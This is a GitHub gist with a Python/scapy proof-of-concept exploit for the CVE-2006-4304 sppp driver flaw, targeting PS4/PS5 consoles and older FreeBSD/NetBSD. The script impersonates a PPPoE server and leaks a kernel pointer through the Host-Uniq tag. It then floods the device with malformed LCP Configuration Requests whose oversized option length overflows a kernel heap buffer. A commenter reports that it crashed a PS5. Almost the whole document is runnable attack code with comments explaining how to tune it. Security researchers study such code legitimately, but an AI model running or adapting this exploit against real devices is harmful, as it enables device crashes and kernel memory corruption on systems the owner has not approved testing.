Skip to content

Instantly share code, notes, and snippets.

@iMrDJAi
Last active May 5, 2024 01:22
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iMrDJAi/847a4f2eeff9669657ffcdf85ac7a901 to your computer and use it in GitHub Desktop.
Save iMrDJAi/847a4f2eeff9669657ffcdf85ac7a901 to your computer and use it in GitHub Desktop.
My implementation of a proof of concept for the `CVE-2006-4304` sppp driver vulnerability that affected PS4/PS5 and earlier versions of FreeBSD/NetBSD
from scapy.all import sniff, sendp
from socket import *
import time
# Replace with your PS4/5's MAC address.
dst_mac=b'\xaa\xbb\xcc\xdd\xee\xff'
# Replacing source MAC address is not mandatory
src_mac= b'\xab\xcd\xef\xab\xcd\xef'
# Replace this with your computer's ethernet interface name
iface_name = 'Ethernet'
def send_frame(pay,interface = iface_name):
sendp(pay, iface=interface)
sessionid = None
host_uniq = None
identifier = None
magic_number = None
def send_pado(packet):
global sessionid # WTF Python?
global host_uniq
print('Received PADI, sending PADO...')
sessionid = int(packet['PPP over Ethernet Discovery'].sessionid)
tag_list = packet['PPP over Ethernet Discovery']['PPPoE Tag List'].tag_list
for tag in tag_list:
if (tag.tag_type == 259): # 'Host-Uniq'. This is a pointer leak (*if_softc)
# https://github.com/NetBSD/src/blob/eae03f4f40af97a8a77a79ae62ad7d29d1c9436e/sys/net/if.h#L239
# https://github.com/NetBSD/src/blob/eae03f4f40af97a8a77a79ae62ad7d29d1c9436e/sys/net/if_pppoe.c#L1073
host_uniq = tag.tag_value
print('sessionid: ', sessionid)
print('host_uniq: ', host_uniq)
pay = bytes([
# Destination address
*dst_mac,
# Source address
*src_mac,
# Type: PPPoE Discovery (0x8863)
0x88, 0x63,
# Version: 1 Type: 1
0x11,
# Code: Active Discovery Offer (PADO) (0x07)
0x07,
# Session ID: (0x0000)
*sessionid.to_bytes(2, 'big'),
# Payload Length: 12
0x00, 12,
# Payload (PPPoE Tag)
# Host-Uniq
0x01, 0x03,
# Length: 8
*len(host_uniq).to_bytes(2, 'big'),
# Example: 00dca213c793ffff (0xffff93c713a2dc00)
*host_uniq
])
send_frame(pay)
def send_pads(_packet):
global sessionid
print('Received PADR, sending PADS...')
# **VERY IMPORTANT** Increment sessionid by 1
sessionid += 1
pay = bytes([
# Destination address
*dst_mac,
# Source address
*src_mac,
# Type: PPPoE Discovery (0x8863)
0x88, 0x63,
# Version: 1 Type: 1
0x11,
# Code: Active Discovery Session-confirmation (PADS) (0x65)
0x65,
# Session ID: (0x0001)
*sessionid.to_bytes(2, 'big'),
# Payload Length: 12
0x00, 12,
# Payload (PPPoE Tag)
# Host-Uniq
0x01, 0x03,
# Length: 8
*len(host_uniq).to_bytes(2, 'big'),
# Example: 00dca213c793ffff (0xffff93c713a2dc00)
*host_uniq
])
send_frame(pay)
def send_lcp_flood(packet):
global identifier
global magic_number
print('Received RCR, we may ignore.')
identifier = int(packet['PPP Link Control Protocol'].id)
lcp_options = packet['PPP Link Control Protocol'].options
for option in lcp_options:
if option.type == 5: # Magic-number
magic_number = int(option.magic_number)
# Those are used to send back Configuration Ack packets, we're not doing that in this context
print('identifier: ', identifier)
print('magic_number: ', magic_number)
print('Sending RCR packets... 🌊🌊')
n = 1
# Flood!
while True:
if n > 0xff: n = 1
pay = bytes([
# Destination address
*dst_mac,
# Source address
*src_mac,
# Type: PPPoE Session (0x8864)
0x88, 0x64,
# Version: 1 Type: 1
0x11,
# Code: Session Data (0x00)
0x00,
# Session ID: (0x0000)
*sessionid.to_bytes(2, 'big'),
# Payload Length: 2 + 7 = 9
0x00, 9,
# Protocol: Link Control Protocol (0xc021)
0xc0, 0x21,
# PPP Link Control Protocol (LCP)
# Code: Configuration Request (RCR) (0X01)
0x01,
# Identifier
n,
# Length: 4 + 3 = 7
0x00, 7, # This is malloc buffer size. Tweeking it allows us moving to diffrent malloc zone
# https://github.com/freebsd/freebsd-src/blob/59bc2f095289a10b8cfa55cbb2b45c3bd6c2d4ae/sys/net/if_spppsubr.c#L2310
# https://github.com/freebsd/freebsd-src/blob/783d3ff6d7fae619db8a7990b8a6387de0c677b5/sys/kern/kern_malloc.c#L166
# LCP option:
0x40, # Type: Invalid/bogus
# 0x03, # Length: 2 + 1 = 0x03 to leak
0xff # 0xff to overflow
# 0x1337 # Normally there is a value here
])
pay += (b'startsHereOwO' + bytes([n])) * 100
time.sleep(0.25) ###
send_frame(pay)
n+=1
if __name__ == '__main__':
print('Listening for Active Discovery Initiation (PADI) (0x09)')
sniff(prn=send_pado,iface=iface_name,filter='pppoed',count=1)
print('Listening for Active Discovery Request (PADR) (0x19)')
sniff(prn=send_pads,iface=iface_name,filter='pppoed',count=1)
print('Listening for Configuration Request (RCR) (0X01)')
sniff(prn=send_lcp_flood,iface=iface_name,filter='pppoes',count=1)
@jhiean
Copy link

jhiean commented May 5, 2024

works for me, it crashed my ps5 on FW 23.02.08.20.02.06-00.00.00.0.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment